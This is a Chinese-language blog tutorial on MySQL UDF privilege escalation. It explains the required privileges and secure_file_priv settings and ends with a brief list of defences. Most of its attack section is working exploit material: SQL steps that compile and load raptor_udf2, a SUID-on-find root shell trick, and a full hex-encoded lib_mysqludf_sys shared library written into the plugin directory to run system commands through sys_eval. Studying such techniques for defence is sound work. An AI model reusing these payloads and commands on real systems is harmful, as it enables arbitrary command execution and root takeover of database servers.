MySQL UDF 提权

MySQL 的用户自定义函数（User-Defined Functions, UDF）是一种扩展 MySQL 功能的方法，它允许开发者使用 C 或 C++ 语言编写新的 SQL 函数。这些函数可以在 SQL 查询中直接调用，以执行特定的任务，比如复杂的计算或字符串处理。然而，如果 MySQL 服务器的配置不安全，攻击者可以利用 UDF 来提升权限，甚至执行系统命令，这种技术被称为 UDF 提权。

UDF 提权原理

UDF 提权的核心是利用 MySQL 的动态链接库加载机制来执行任意代码。攻击者通常会遵循以下步骤：

获取 MySQL 控制权限：首先需要有一个能够连接到 MySQL 服务器的账户，并且该账户具有足够的权限来创建和删除函数。最理想的情况是拥有 root 账户。
确保写入文件权限：MySQL 需要具备写入文件的权限，这通常通过检查 secure_file_priv 变量来确认。如果其值为空，则 MySQL 可以在任何目录下写入文件；如果为 /tmp/，则只能写入 /tmp/ 目录；如果为 NULL，则不允许导入导出操作。
上传恶意 UDF 文件：攻击者需要将一个恶意的 UDF 文件（通常是 .dll 文件在 Windows 系统上或 .so 文件在 Linux 系统上）上传到 MySQL 服务器上的某个位置。这个文件包含了一个或多个函数，这些函数可以用来执行系统命令。
注册 UDF：使用 CREATE FUNCTION 语句在 MySQL 中注册恶意 UDF 文件中的函数。
执行系统命令：通过 SQL 查询调用新注册的 UDF 函数，从而间接地执行系统命令。

漏洞利用条件

为了成功实施 UDF 提权，攻击者需要满足以下条件：

MySQL 版本与配置：不同的 MySQL 版本可能要求 UDF 文件放置在不同的目录下。例如，对于 MySQL 5.1 及以上版本，UDF 文件通常需要放在 MySQL 安装目录下的 lib/plugin 文件夹内。
账户权限：至少需要 INSERT 和 DELETE 权限来创建和删除函数。最好有 CREATE 和 FILE 权限，特别是 root 账户默认就拥有这些权限。
文件权限：MySQL 必须能够写入文件，这意味着 secure_file_priv 设置不能限制 MySQL 写入指定目录之外的地方。

实战案例

假设攻击者已经获取了 MySQL 的 root 访问权限，并且 secure_file_priv 的值为空，那么攻击者可以按照以下步骤进行提权：

编译恶意 UDF：

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

上传 UDF 到 MySQL 服务器：可以通过多种方式实现，如 FTP、SCP 或者 Webshell。
在 MySQL 中创建表并插入 UDF 文件：

use mysql;
create table foo(line blob);
insert into foo values(load_file('/path/to/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

创建 UDF 函数：

create function do_system returns integer soname 'raptor_udf2.so';

执行系统命令：

select do_system('whoami');
select do_system('chmod u+s /usr/bin/find');
exit
touch hello
find hello -exec "/bin/sh" \;

在这个例子中，do_system 函数被用来执行任意系统命令。一旦攻击者能够运行这样的命令，他们就能够获得对系统的控制权。

防御措施

防止 UDF 提权的关键在于加强 MySQL 服务器的安全性：

限制用户权限：不要给非必需的用户授予 CREATE 和 FILE 权限。
设置 secure_file_priv：将其设置为仅允许写入受控目录，最好是 NULL 以完全禁用导入导出功能。
监控 UDF 创建：定期审计数据库，检查是否有未经授权的 UDF 创建活动。
保持更新：及时应用 MySQL 的安全补丁和更新，关闭不必要的服务和端口。

通过上述措施，可以显著降低 UDF 提权的风险。同时，也建议部署入侵检测系统 (IDS) 和日志监控工具来帮助发现潜在的安全威胁。

老师的笔记

前言：

> MySQL 用户自定义函数（User-Defined Function，简称 UDF）是一种允许开发者扩展 MySQL 功能的机制。通过 UDF，开发者可以使用 C 或 C++ 编写自定义的函数，并将这些函数编译为共享库文件，然后在 MySQL 中注册和使用这些函数。 > > > > UDF 提供了一种方法，使得开发者可以在 SQL 查询中使用自定义的函数，这些函数可以执行标准 SQL 函数无法完成的操作。例如，开发者可以创建一个 UDF 来执行复杂的数学计算，或者与操作系统进行交互。 > > 然而，UDF 也带来了一些安全风险。因为 UDF 允许执行任意的 C 或 C++ 代码，所以如果攻击者能够在 MySQL 中注册他们自己的 UDF，他们就可能能够执行恶意的操作。这就是为什么创建和使用 UDF 需要 `SUPER` 权限，以确保只有信任的用户能够使用这个功能。 >

UDF 提权条件

📌 MySQL 用户自定义函数（UDF）提权漏洞通常涉及到两个主要部分：利用 `SUPER` 权限创建恶意的 UDF，以及在具有文件系统访问权限的情况下将恶意 UDF 库文件放置在 MySQL 服务器可以访问的位置，所需权限如下： - 攻击者获取了 SQL 语句执行的权限 - 且登录必须要有`SUPER`、`FILE` 权限 - `secure_file_priv` 系统变量为空 **获取SQL语句执行权限**：通过SQL注入或者弱口令爆破等方式获取SQL语句执行权限； **创建恶意 UDF**：UDF 允许用户在 MySQL 中定义新的函数，这些函数实际上是在 C 或者 C++ 中编写的动态链接库（DLL）。如果攻击者获得了 `SUPER` 权限，他们可以创建指向恶意 DLL 的 UDF，这个 DLL 可以执行任意代码。 **利用文件系统访问**：在 MySQL 中，UDF 库需要位于 MySQL 服务器可以访问的文件系统位置。如果攻击者具有将文件放置在这些位置的权限（例如，`FILE` 权限或者操作系统级别的权限），他们可以将恶意 DLL 放置在这些位置。当这两个条件都满足时，攻击者可以在 MySQL 服务器上执行任意代码，这通常可以用来提升权限，执行其他攻击，或者对系统进行其他恶意操作。这就是为什么在生产环境中，应该尽量避免给用户赋予 `SUPER` 和 `FILE` 权限，特别是对外部暴露的用户。此外，应该定期检查和更新系统，以防止已知的安全漏洞被利用。

secure_file_priv 是 MySQL 的一个系统变量，它用于限制 LOAD DATA, SELECT ... INTO OUTFILE, LOAD_FILE() 等文件操作的影响范围。如果这个变量被设置为一个文件系统路径，那么所有的文件操作都只能针对这个路径进行。这种限制可以防止攻击者利用 FILE 权限在文件系统上进行任意读写。

如果 secure_file_priv 被设置为一个非空的路径，那么即使用户有 FILE 权限，他们也只能在 secure_file_priv 指定的目录中读写文件，如果secure_file_priv 的值为NULL ，则不允许导出。这意味着，如果攻击者想要利用 UDF 提权漏洞，他们需要能够将恶意的 UDF 库文件放置在 secure_file_priv 指定的目录中，这可能需要更高级别的文件系统权限。

secure_file_priv 通常在 MySQL 服务器启动时通过配置文件设置，而不是在运行时通过 SQL 语句修改。因此，修改 secure_file_priv 变量通常需要有操作系统级别的权限，以便能够修改 MySQL 的配置文件并重启 MySQL 服务器。

在 MySQL 中，没有一个特定的权限可以直接修改 secure_file_priv。即使用户有 SUPER 权限，他们也不能在运行时修改 secure_file_priv。这是因为 secure_file_priv 是一个只读变量，不能通过 SET GLOBAL 或 SET SESSION 语句修改。

提权条件查询：

查询是否拥有SUPER、FILE权限：

#查看当前用户权限
SHOW GRANTS FOR CURRENT_USER;

查询 secure_file_priv 变量的值是否为空：

SHOW VARIABLES LIKE 'secure_file_priv';

在 MySQL 5.5 之前 secure_file_priv 默认是空，这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL，这个情况下不可以写文件

UDF提权流程：

首先进行提权条件查询，查询是否拥有SUPER、FILE权限：

#查看当前用户权限
SHOW GRANTS FOR CURRENT_USER;

查询 secure_file_priv 变量的值：

SHOW VARIABLES LIKE 'secure_file_priv';

符合条件后进行UDF提权，

#查找mysql插件存放路径。如果secure_file_priv为空，表示mysql可以写入文件到任意有权限目录，但是在创建udf用户自定义函数时，需要指定so文件的目录，MySQL 有另一项安全设置 plugin_dir，这个变量定义了 MySQL 从哪个目录加载插件和共享库，所以只能将so文件写入到该目录
show variables like '%plugin%';

#查完插件存放路径后通过hex编码写入so文件，这个so文件格式为x64的，so或dll的文件可以从kali中查看，kali中的路径为：/usr/share/metasploit-framework/data/exploits/mysql/
#可以在kali中先hex编码，然后unhex写入：

SELECT hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so'));

select unhex("7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000") INTO DUMPFILE "/usr/local/mysql/lib/plugin/udf.so";

#然后创建函数，这里直接使用udf.so
create function sys_eval returns string SONAME 'udf.so';

#最后执行命令
select sys_eval('id');

Andrew's Blog